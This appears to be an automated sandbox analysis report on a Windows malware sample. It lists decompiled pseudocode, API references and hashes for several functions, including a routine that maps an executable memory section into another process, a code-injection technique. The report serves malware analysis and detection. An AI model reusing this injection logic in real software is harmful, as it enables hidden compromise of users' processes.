				intOrPtr _t92;
				intOrPtr _t95;
				intOrPtr* _t97;
				struct _GUID _t105;
				long _t107;
				intOrPtr* _t108;
				PVOID* _t110;
				PVOID* _t112;
				PVOID* _t128;
				PVOID* _t130;
				long* _t137;
				intOrPtr* _t138;
				void* _t156;
				intOrPtr* _t185;
				intOrPtr* _t186;
				HANDLE* _t187;
				void* _t199;
				void* _t206;
				long _t221;

				_t137 = __ecx;
				_t135 = __ebx + 1;
				_t206 = __ebx + 1;
				_t156 = 0xd4;
				E004011BD(_t89, _t135, __ecx, _t156, __edi, __esi, _t206);
				_t136 =  *((intOrPtr*)(_t199 + 8));
				 *((intOrPtr*)(_t199 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t199 - 0x34)) =  *((intOrPtr*)(_t199 - 0x34)) + 1;
				}
				while(1) {
					_t92 =  *((intOrPtr*)(_t136 + 0x48))();
					if(_t92 != 0) {
						break;
					}
					 *((intOrPtr*)(_t136 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t199 - 0x5c)) = _t92;
				_t185 = _t199 - 0x60;
				 *_t185 = 0;
				 *((intOrPtr*)(_t136 + 0x4c))(_t92, _t185);
				_t95 =  *_t185;
				if(_t95 != 0) {
					_t138 = _t199 - 0x30;
					 *_t138 = _t95;
					 *((intOrPtr*)(_t138 + 4)) = 0;
					_t186 = _t199 - 0x28;
					 *((intOrPtr*)(_t136 + 0x10))(_t186, 0x18);
					 *_t186 = 0x18;
					_t137 = _t199 - 0x30;
					_push(_t137);
					_push(_t186);
					_push(0x40);
					_push(_t199 - 0x10);
					if( *((intOrPtr*)(_t136 + 0x70))() == 0 && NtDuplicateObject( *(_t199 - 0x10), 0xffffffff, 0xffffffff, _t199 - 0xc, 0, 0, 2) == 0) {
						 *((intOrPtr*)(_t199 - 8)) = 0;
						_t105 = _t199 - 0x50;
						 *((intOrPtr*)(_t105 + 4)) = 0;
						 *_t105 = 0x5000;
						_t187 = _t199 - 0x54;
						if(NtCreateSection(_t187, 6, 0, _t105, 4, 0x8000000, 0) == 0) {
							 *_t25 =  *(_t199 - 0x50);
							_t128 = _t199 - 0x44;
							 *_t128 = 0;
							if(NtMapViewOfSection( *_t187, 0xffffffff, _t128, 0, 0, 0, _t199 - 0x38, 1, 0, 4) == 0) {
								_t130 = _t199 - 0x3c;
								 *_t130 = 0;
								if(NtMapViewOfSection( *_t187,  *(_t199 - 0xc), _t130, 0, 0, 0, _t199 - 0x38, 1, 0, 4) == 0) {
									_t187 =  *(_t199 - 0x44);
									 *((intOrPtr*)(_t136 + 0x20))(0, _t187, 0x104);
									_t187[0x82] =  *(_t199 + 0x14);
									 *((intOrPtr*)(_t199 - 8)) =  *((intOrPtr*)(_t199 - 8)) + 1;
								}
							}
						}
						_t107 = _t199 - 0x50;
						_t137 =  *((intOrPtr*)(_t199 + 0x10)) + 0x10000;
						 *((intOrPtr*)(_t107 + 4)) = 0;
						while(1) {
							_t108 = _t107 + 0x89;
							 *(_t199 + 0x6857a875) =  *(_t199 + 0x6857a875) | _t137;
							 *_t108 =  *_t108 + _t108;
							 *_t108 =  *_t108 + _t137;
							_push(0x40);
							_push(_t108);
							_push(0);
							_push(0xe);
							if(NtCreateSection(_t187) != 0 ||  *((intOrPtr*)(_t199 - 8)) == 0) {
								goto L63;
							}
							 *_t47 =  *(_t199 - 0x50);
							_t110 = _t199 - 0x48;
							 *_t110 = 0;
							_t137 = _t199 - 0x38;
							if(NtMapViewOfSection( *_t187, 0xffffffff, _t110, 0, 0, 0, _t137, 1, 0, 4) == 0) {
								_t112 = _t199 - 0x40;
								 *_t112 = 0;
								_t137 = _t199 - 0x38;
								_t107 = NtMapViewOfSection( *_t187,  *(_t199 - 0xc), _t112, 0, 0, 0, _t137, 1, 0, 0x20);
								_t221 = _t107;
								if(_t221 == 0) {
									L18();
									if(_t221 == 0 && _t221 != 0) {
										asm("xlatb");
										if (_t221 <= 0) goto L13;
									}
								}
							}
							goto L63;
						}
					}
				}
				L63:
				_t96 = 0x1581;
				_t97 = _t136;
				_t136 = _t96;
				 *((intOrPtr*)(_t96 - 0x3b7cdbf4)) =  *((intOrPtr*)(_t96 - 0x3b7cdbf4)) + _t137;
				_t96 = _t97 +  *_t97 + 0xffffffffefeb0a2c;
				__edx =  *__esp;
				__esp = __esp + 4;
				__eax = E004011BD(__eax, __ebx, __ecx, __edx, __edi, __esi, __eflags);
				__eflags = __eax & 0x5ffffff8;
				__esi = 0xd4;
				__ebx = 0x393;
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

0x0040156e
0x0040156e
0x0040156e
0x00401574
0x0040157c
0x00401581
0x00401586
0x0040158f
0x00401591
0x00401591
0x00401594
0x00401594
0x00401599
0x00000000
0x00000000
0x004018c4
0x004018c4
0x0040159f
0x004015a2
0x004015a5
0x004015a9
0x004015ac
0x004015b0
0x004015b6
0x004015b9
0x004015bb
0x004015be
0x004015c4
0x004015c7
0x004015cf
0x004015d5
0x004015d6
0x004015d7
0x004015d9
0x004015df
0x00401602
0x00401605
0x00401608
0x0040160b
0x00401611
0x00401626
0x0040162b
0x0040162e
0x00401631
0x00401649
0x0040164b
0x0040164e
0x00401667
0x00401669
0x00401673
0x00401679
0x0040167f
0x0040167f
0x00401667
0x00401649
0x00401682
0x00401688
0x0040168e
0x00401690
0x00401690
0x00401692
0x00401698
0x0040169a
0x0040169c
0x0040169e
0x0040169f
0x004016a0
0x004016a8
0x00000000
0x00000000
0x004016bb
0x004016be
0x004016c1
0x004016c3
0x004016d9
0x004016df
0x004016e2
0x004016e4
0x004016f6
0x004016f9
0x004016fb
0x00401701
0x00401706
0x0040170a
0x0040170b
0x0040170b
0x0040170c
0x004016fb
0x00000000
0x004016d9
0x00401690
0x004015df
0x004018bd
0x004018d6
0x004018e5
0x004018e5
0x004018e8
0x004018f0
0x00401902
0x00401905
0x0040190f
0x00401910
0x00401915
0x00401916
0x00401917
0x00401917
0x00401918

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015F4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401621
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401644
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401662
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016A3
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016D4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016F6

Memory Dump Source

Source File: 00000000.00000002.332432151.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: d5b10abc90c8c6a7dc80e0c028c57b1ab97dfb5efeb842bbdb4f506f4bf1d66c
Instruction ID: d8e739a22362a43fac31a6c695893a01924cf3e7e2b8d195f7e8b0d2178a2f75
Opcode Fuzzy Hash: d5b10abc90c8c6a7dc80e0c028c57b1ab97dfb5efeb842bbdb4f506f4bf1d66c
Instruction Fuzzy Hash: 2551FA75900205BFEF209F91CC88FAF7BB8FF85B14F104259FA11AA2A5D7709941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401706 Relevance: 4.7, APIs: 3, Instructions: 188
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016A3
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016D4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016F6

Memory Dump Source

Source File: 00000000.00000002.332432151.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$View$Create
String ID:
API String ID: 33071139-0
Opcode ID: e305ea66141ac1917696a177c51917f6868016e15f6eda21c309dcd603f7f2f5
Instruction ID: 447455f733b0a153a40d6099ba8f492cc09ddcc2c77b928045d4e3348107214c
Opcode Fuzzy Hash: e305ea66141ac1917696a177c51917f6868016e15f6eda21c309dcd603f7f2f5
Instruction Fuzzy Hash: 4251E732908104EBEB159A94CC44FAB77B5EF85700F24813BE942772F0D67C6A46E75B

Uniqueness

Uniqueness Score: -1.00%

Function 0040F993 Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__malloc_crt.LIBCMT ref: 0040F9C4

Memory Dump Source

Source File: 00000000.00000002.332441402.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __malloc_crt
String ID:
API String ID: 3464615804-0
Opcode ID: 498639db6c0590578430267458efad96abe7fe52505da81c1766c9b3dc17494d
Instruction ID: 14388b8b102b9c58e8f43094d2e30dacba18611b8758219e862451feb054ea9b
Opcode Fuzzy Hash: 498639db6c0590578430267458efad96abe7fe52505da81c1766c9b3dc17494d
Instruction Fuzzy Hash: E8F0E9B75001207DDA357A356C089772628DAC63253260837F492E3A94E63C4D8682E9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C843 Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0040C858

Memory Dump Source

Source File: 00000000.00000002.332441402.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: d20468b3d397896e9c3ccf82f471a2f67684d42a0bc2bfb341adaeb80bcc7c81
Instruction ID: 7fa59595f45f3fad9356bf27612511d5519ed19cb54caf8bb0a8c0e588ac3dc9
Opcode Fuzzy Hash: d20468b3d397896e9c3ccf82f471a2f67684d42a0bc2bfb341adaeb80bcc7c81
Instruction Fuzzy Hash: 76D0A732654709AEDB005F76BC08B763BDCD388795F008536F90DD6290F574C940CE08

Uniqueness

Uniqueness Score: -1.00%

Function 0040E1C6 Relevance: 1.5, APIs: 1, Instructions: 4
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__encode_pointer.LIBCMT ref: 0040E1C8

Part of subcall function 0040E154: RtlEncodePointer.NTDLL(00000000,?,0040E1CD,00000000,00414601,00435018,00000000,00000314,?,0040B18B,00435018,00402220,00012010), ref: 0040E1BB

Memory Dump Source

Source File: 00000000.00000002.332441402.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: EncodePointer__encode_pointer
String ID:
API String ID: 4150071819-0
Opcode ID: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction ID: 35626f7fef174b5b12671be3c9572c3873110e2351e3015cbe3a545a09bf4dea
Opcode Fuzzy Hash: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 0040191B Relevance: 1.3, APIs: 1, Instructions: 62
sleepCOMMON

Download Yara Rule

C-Code - Quality: 32%

			E0040191B(void* __eflags, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t11;
				void* _t13;
				void* _t16;
				intOrPtr* _t17;
				void* _t18;
				intOrPtr _t20;
				intOrPtr _t21;
				void* _t22;
				void* _t23;
				intOrPtr* _t24;
				intOrPtr* _t25;

				_t27 = __eflags;
				_t18 = 0x72;
				_push(0x7c);
				_t20 =  *_t24;
				_t25 = _t24 + 4;
				E004011BD(0x1966, _t16, _t18, _t20, _t22, _t23, __eflags);
				_t17 = _a4;
				Sleep(0x1388);
				_push( &_v8);
				_push(_a12);
				_push(_a8);
				_push(_t17); // executed
				_t11 = E0040143E(_t27); // executed
				_t28 = _t11;
				if(_t11 != 0) {
					E0040153A(_t22, _t17, _t11, _v8, _a16); // executed
				}
				 *_t17(0xffffffff, 0);
				_t13 = 0x1966;
				_push(0x7c);
				_t21 =  *_t25;
				return E004011BD(_t13, _t17, 0x72, _t21, _t22, _t23, _t28);
			}

0x0040191b
0x00401942
0x00401952
0x00401954
0x00401957
0x00401961
0x00401966
0x0040196e
0x00401974
0x00401975
0x00401978
0x0040197b
0x0040197c
0x00401981
0x00401983
0x0040198d
0x0040198d
0x00401996
0x004019a4
0x004019c4
0x004019c6
0x004019dc

APIs

Sleep.KERNELBASE(00001388), ref: 0040196E

Part of subcall function 0040153A: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015F4
Part of subcall function 0040153A: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401621
Part of subcall function 0040153A: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401644

Memory Dump Source

Source File: 00000000.00000002.332432151.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: aa4c871f875b8433a1888fa60491c251e6fbb3be3237b566f424d3eb63a5dc5e
Instruction ID: c9097c7a8c76098b790d0824a844458142c5fb2d44e24dbb1ae9bdc9dc575197
Opcode Fuzzy Hash: aa4c871f875b8433a1888fa60491c251e6fbb3be3237b566f424d3eb63a5dc5e
Instruction Fuzzy Hash: 1411A1F160C204E7EB006A959DA1E7A36189B05754F304137B643791F1C53D9913F7AF

Uniqueness

Uniqueness Score: -1.00%

Function 00401926 Relevance: 1.3, APIs: 1, Instructions: 59
sleepCOMMON

Download Yara Rule

C-Code - Quality: 23%

			E00401926(signed int __ecx, void* __edx, void* __edi) {
				void* __esi;
				void* _t13;
				void* _t15;
				void* _t18;
				intOrPtr* _t19;
				void* _t22;
				intOrPtr _t26;
				intOrPtr _t27;
				void* _t30;
				void* _t32;
				intOrPtr* _t34;
				intOrPtr* _t35;
				signed int _t38;

				_t28 = __edi;
				_t38 = __ecx & __edx - 0x00000001;
				_pop(es);
				_pop(_t34);
				_push(_t30);
				_t22 = 0x72;
				_push(0x7c);
				_t26 =  *_t34;
				_t35 = _t34 + 4;
				E004011BD(0x1966, _t18, _t22, _t26, __edi, _t30, _t38);
				_t19 =  *((intOrPtr*)(_t32 + 8));
				Sleep(0x1388);
				_push(_t32 - 4);
				_push( *((intOrPtr*)(_t32 + 0x10)));
				_push( *((intOrPtr*)(_t32 + 0xc)));
				_push(_t19); // executed
				_t13 = E0040143E(_t38); // executed
				_t39 = _t13;
				if(_t13 != 0) {
					E0040153A(__edi, _t19, _t13,  *((intOrPtr*)(_t32 - 4)),  *((intOrPtr*)(_t32 + 0x14))); // executed
				}
				 *_t19(0xffffffff, 0);
				_t15 = 0x1966;
				_push(0x7c);
				_t27 =  *_t35;
				return E004011BD(_t15, _t19, 0x72, _t27, _t28, _t30, _t39);
			}

0x00401926
0x00401927
0x00401929
0x0040192a
0x0040192b
0x00401942
0x00401952
0x00401954
0x00401957
0x00401961
0x00401966
0x0040196e
0x00401974
0x00401975
0x00401978
0x0040197b
0x0040197c
0x00401981
0x00401983
0x0040198d
0x0040198d
0x00401996
0x004019a4
0x004019c4
0x004019c6
0x004019dc

APIs

Sleep.KERNELBASE(00001388), ref: 0040196E

Part of subcall function 0040153A: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015F4
Part of subcall function 0040153A: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401621
Part of subcall function 0040153A: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401644

Memory Dump Source

Source File: 00000000.00000002.332432151.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 6d6817fa9df14b3076a8f9b1474124779175b41ba9da93487664b36b3a9d2bc9
Instruction ID: cf7fc6a6d41792b892400cc2fa54afce955014e6845f6d022a9c776b377c91f0
Opcode Fuzzy Hash: 6d6817fa9df14b3076a8f9b1474124779175b41ba9da93487664b36b3a9d2bc9
Instruction Fuzzy Hash: E401ADB1208205EBEB005A8599A1EBA33189B45360F208137B603791F0C23D9A12E7AF

Uniqueness

Uniqueness Score: -1.00%

Function 00401933 Relevance: 1.3, APIs: 1, Instructions: 56
sleepCOMMON

Download Yara Rule

C-Code - Quality: 34%

			E00401933(signed int __eax, signed int* __ebx, void* __edi) {
				void* _t17;
				void* _t19;
				intOrPtr* _t23;
				void* _t25;
				intOrPtr _t28;
				intOrPtr _t29;
				void* _t32;
				void* _t34;
				intOrPtr* _t36;
				intOrPtr* _t37;
				signed int _t40;

				_t30 = __edi;
				_t40 = __eax %  *__ebx;
				_t25 = 0x72;
				_push(0x7c);
				_t28 =  *_t36;
				_t37 = _t36 + 4;
				E004011BD(0x1966, __ebx, _t25, _t28, __edi, _t32, _t40);
				_t23 =  *((intOrPtr*)(_t34 + 8));
				Sleep(0x1388);
				_push(_t34 - 4);
				_push( *((intOrPtr*)(_t34 + 0x10)));
				_push( *((intOrPtr*)(_t34 + 0xc)));
				_push(_t23); // executed
				_t17 = E0040143E(_t40); // executed
				_t41 = _t17;
				if(_t17 != 0) {
					E0040153A(__edi, _t23, _t17,  *((intOrPtr*)(_t34 - 4)),  *((intOrPtr*)(_t34 + 0x14))); // executed
				}
				 *_t23(0xffffffff, 0);
				_t19 = 0x1966;
				_push(0x7c);
				_t29 =  *_t37;
				return E004011BD(_t19, _t23, 0x72, _t29, _t30, _t32, _t41);
			}

0x00401933
0x00401933
0x00401942
0x00401952
0x00401954
0x00401957
0x00401961
0x00401966
0x0040196e
0x00401974
0x00401975
0x00401978
0x0040197b
0x0040197c
0x00401981
0x00401983
0x0040198d
0x0040198d
0x00401996
0x004019a4
0x004019c4
0x004019c6
0x004019dc

APIs

Sleep.KERNELBASE(00001388), ref: 0040196E

Part of subcall function 0040153A: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015F4
Part of subcall function 0040153A: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401621
Part of subcall function 0040153A: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401644

Memory Dump Source

Source File: 00000000.00000002.332432151.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 4149cf5a923b8e8884d6f6945363e082f8f5046ca93a85a5d0b29413b9ec7006
Instruction ID: d842434d851b528c019fbd57e57948c1b19627375bcd2192bf6abc5702952b03
Opcode Fuzzy Hash: 4149cf5a923b8e8884d6f6945363e082f8f5046ca93a85a5d0b29413b9ec7006
Instruction Fuzzy Hash: 100169F1608204EBEB006B9499A1EBA3324AB05754F308137B617791F1C63D9A13E76F

Uniqueness

Uniqueness Score: -1.00%

Function 00401937 Relevance: 1.3, APIs: 1, Instructions: 51
sleepCOMMON

Download Yara Rule

C-Code - Quality: 35%

			E00401937(unsigned int __ebx, void* __edi) {
				void* _t8;
				void* _t11;
				void* _t13;
				intOrPtr* _t18;
				void* _t20;
				intOrPtr _t22;
				intOrPtr _t23;
				void* _t26;
				void* _t28;
				intOrPtr* _t30;
				intOrPtr* _t31;
				unsigned int _t34;

				_t24 = __edi;
				_t17 = __ebx >> 0xd;
				_t34 = __ebx >> 0xd;
				_t20 = 0x72;
				_push(0x7c);
				_t22 =  *_t30;
				_t31 = _t30 + 4;
				E004011BD(_t8, _t17, _t20, _t22, __edi, _t26, _t34);
				_t18 =  *((intOrPtr*)(_t28 + 8));
				Sleep(0x1388);
				_push(_t28 - 4);
				_push( *((intOrPtr*)(_t28 + 0x10)));
				_push( *((intOrPtr*)(_t28 + 0xc)));
				_push(_t18); // executed
				_t11 = E0040143E(_t34); // executed
				_t35 = _t11;
				if(_t11 != 0) {
					E0040153A(__edi, _t18, _t11,  *((intOrPtr*)(_t28 - 4)),  *((intOrPtr*)(_t28 + 0x14))); // executed
				}
				 *_t18(0xffffffff, 0);
				_t13 = 0x1966;
				_push(0x7c);
				_t23 =  *_t31;
				return E004011BD(_t13, _t18, 0x72, _t23, _t24, _t26, _t35);
			}

0x00401937
0x00401937
0x00401937
0x00401942
0x00401952
0x00401954
0x00401957
0x00401961
0x00401966
0x0040196e
0x00401974
0x00401975
0x00401978
0x0040197b
0x0040197c
0x00401981
0x00401983
0x0040198d
0x0040198d
0x00401996
0x004019a4
0x004019c4
0x004019c6
0x004019dc

APIs

Sleep.KERNELBASE(00001388), ref: 0040196E

Part of subcall function 0040153A: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015F4
Part of subcall function 0040153A: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401621
Part of subcall function 0040153A: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401644

Memory Dump Source

Source File: 00000000.00000002.332432151.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 3b6b689b9145e9218f7536035d1f7484f46ca8be15d9ebf98dafcffe069e586b
Instruction ID: 7be51b60f0a4a78f60551b3f2632a8c962228acbedfc550b977fc64e20121a53
Opcode Fuzzy Hash: 3b6b689b9145e9218f7536035d1f7484f46ca8be15d9ebf98dafcffe069e586b
Instruction Fuzzy Hash: FC01B1B1208205E7DB006B849DA1E6A33249B04754F204537F753791F1C27E9913E7AF

Uniqueness

Uniqueness Score: -1.00%

Function 00401946 Relevance: 1.3, APIs: 1, Instructions: 49
sleepCOMMON

Download Yara Rule

C-Code - Quality: 35%

			E00401946(signed int __ebx, void* __edi) {
				void* _t8;
				void* _t11;
				void* _t13;
				intOrPtr* _t18;
				void* _t20;
				intOrPtr _t22;
				intOrPtr _t23;
				void* _t26;
				signed int _t28;
				intOrPtr* _t30;
				intOrPtr* _t31;
				signed int _t34;

				_t24 = __edi;
				_t17 = __ebx & _t28;
				_t34 = __ebx & _t28;
				_t20 = 0x72;
				_push(0x7c);
				_t22 =  *_t30;
				_t31 = _t30 + 4;
				E004011BD(_t8, _t17, _t20, _t22, __edi, _t26, _t34);
				_t18 =  *((intOrPtr*)(_t28 + 8));
				Sleep(0x1388);
				_push(_t28 - 4);
				_push( *((intOrPtr*)(_t28 + 0x10)));
				_push( *((intOrPtr*)(_t28 + 0xc)));
				_push(_t18); // executed
				_t11 = E0040143E(_t34); // executed
				_t35 = _t11;
				if(_t11 != 0) {
					E0040153A(__edi, _t18, _t11,  *((intOrPtr*)(_t28 - 4)),  *((intOrPtr*)(_t28 + 0x14))); // executed
				}
				 *_t18(0xffffffff, 0);
				_t13 = 0x1966;
				_push(0x7c);
				_t23 =  *_t31;
				return E004011BD(_t13, _t18, 0x72, _t23, _t24, _t26, _t35);
			}

0x00401946
0x00401946
0x00401946
0x00401942
0x00401952
0x00401954
0x00401957
0x00401961
0x00401966
0x0040196e
0x00401974
0x00401975
0x00401978
0x0040197b
0x0040197c
0x00401981
0x00401983
0x0040198d
0x0040198d
0x00401996
0x004019a4
0x004019c4
0x004019c6
0x004019dc

APIs

Sleep.KERNELBASE(00001388), ref: 0040196E

Part of subcall function 0040153A: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015F4
Part of subcall function 0040153A: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401621
Part of subcall function 0040153A: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401644

Memory Dump Source

Source File: 00000000.00000002.332432151.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: c0fe30b882580bc1232b4db7649a47100bd8674d4fc6e59b25d38baed598e95d
Instruction ID: 8d0b4fc3b4ed128b3f491f21f6e5c565a9570d6eb44f85e417a0d417efd48700
Opcode Fuzzy Hash: c0fe30b882580bc1232b4db7649a47100bd8674d4fc6e59b25d38baed598e95d
Instruction Fuzzy Hash: 9D01A2B5708205EBDB006B949DA1EBA37149B04354F204537B713B91F1C63D9913E76F

Uniqueness

Uniqueness Score: -1.00%

Function 0040195C Relevance: 1.3, APIs: 1, Instructions: 48
sleepCOMMON

Download Yara Rule

C-Code - Quality: 24%

			E0040195C(void* __ecx, void* __edi, void* __eflags) {
				void* _t8;
				void* _t11;
				void* _t13;
				void* _t16;
				intOrPtr* _t17;
				intOrPtr _t21;
				intOrPtr _t22;
				void* _t25;
				void* _t27;
				intOrPtr* _t29;
				intOrPtr* _t30;

				_t33 = __eflags;
				_t23 = __edi;
				asm("in eax, dx");
				asm("cli");
				_push(0x7c);
				_t21 =  *_t29;
				_t30 = _t29 + 4;
				E004011BD(_t8, _t16, __ecx, _t21, __edi, _t25, __eflags);
				_t17 =  *((intOrPtr*)(_t27 + 8));
				Sleep(0x1388);
				_push(_t27 - 4);
				_push( *((intOrPtr*)(_t27 + 0x10)));
				_push( *((intOrPtr*)(_t27 + 0xc)));
				_push(_t17); // executed
				_t11 = E0040143E(_t33); // executed
				_t34 = _t11;
				if(_t11 != 0) {
					E0040153A(__edi, _t17, _t11,  *((intOrPtr*)(_t27 - 4)),  *((intOrPtr*)(_t27 + 0x14))); // executed
				}
				 *_t17(0xffffffff, 0);
				_t13 = 0x1966;
				_push(0x7c);
				_t22 =  *_t30;
				return E004011BD(_t13, _t17, 0x72, _t22, _t23, _t25, _t34);
			}

0x0040195c
0x0040195c
0x0040195c
0x0040195d
0x00401952
0x00401954
0x00401957
0x00401961
0x00401966
0x0040196e
0x00401974
0x00401975
0x00401978
0x0040197b
0x0040197c
0x00401981
0x00401983
0x0040198d
0x0040198d
0x00401996
0x004019a4
0x004019c4
0x004019c6
0x004019dc

APIs

Sleep.KERNELBASE(00001388), ref: 0040196E

Part of subcall function 0040153A: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015F4
Part of subcall function 0040153A: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401621
Part of subcall function 0040153A: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401644

Memory Dump Source

Source File: 00000000.00000002.332432151.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 48d7d24fba552eb6173eff8f6edf645353d33e8fdcd34db1c7cd98e9063de443
Instruction ID: 7bbf9fe256f195da6a7c80be41884dd11f4d1e9b9c7a3ee752fcad2c27075f74
Opcode Fuzzy Hash: 48d7d24fba552eb6173eff8f6edf645353d33e8fdcd34db1c7cd98e9063de443
Instruction Fuzzy Hash: DC01A2B1608200EBDB006B949DA1E7A33189B04354F204137B653B91F1C63D9912E76F

Uniqueness

Uniqueness Score: -1.00%

Function 00401960 Relevance: 1.3, APIs: 1, Instructions: 42
sleepCOMMON

Download Yara Rule

C-Code - Quality: 30%

			E00401960(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t8;
				void* _t11;
				void* _t13;
				intOrPtr* _t17;
				intOrPtr _t22;
				void* _t27;
				intOrPtr* _t29;

				_t32 = __eflags;
				_t25 = __esi;
				_t23 = __edi;
				asm("cli");
				E004011BD(_t8, __ebx, __ecx, __edx, __edi, __esi, __eflags);
				_t17 =  *((intOrPtr*)(_t27 + 8));
				Sleep(0x1388);
				_push(_t27 - 4);
				_push( *((intOrPtr*)(_t27 + 0x10)));
				_push( *((intOrPtr*)(_t27 + 0xc)));
				_push(_t17); // executed
				_t11 = E0040143E(_t32); // executed
				_t33 = _t11;
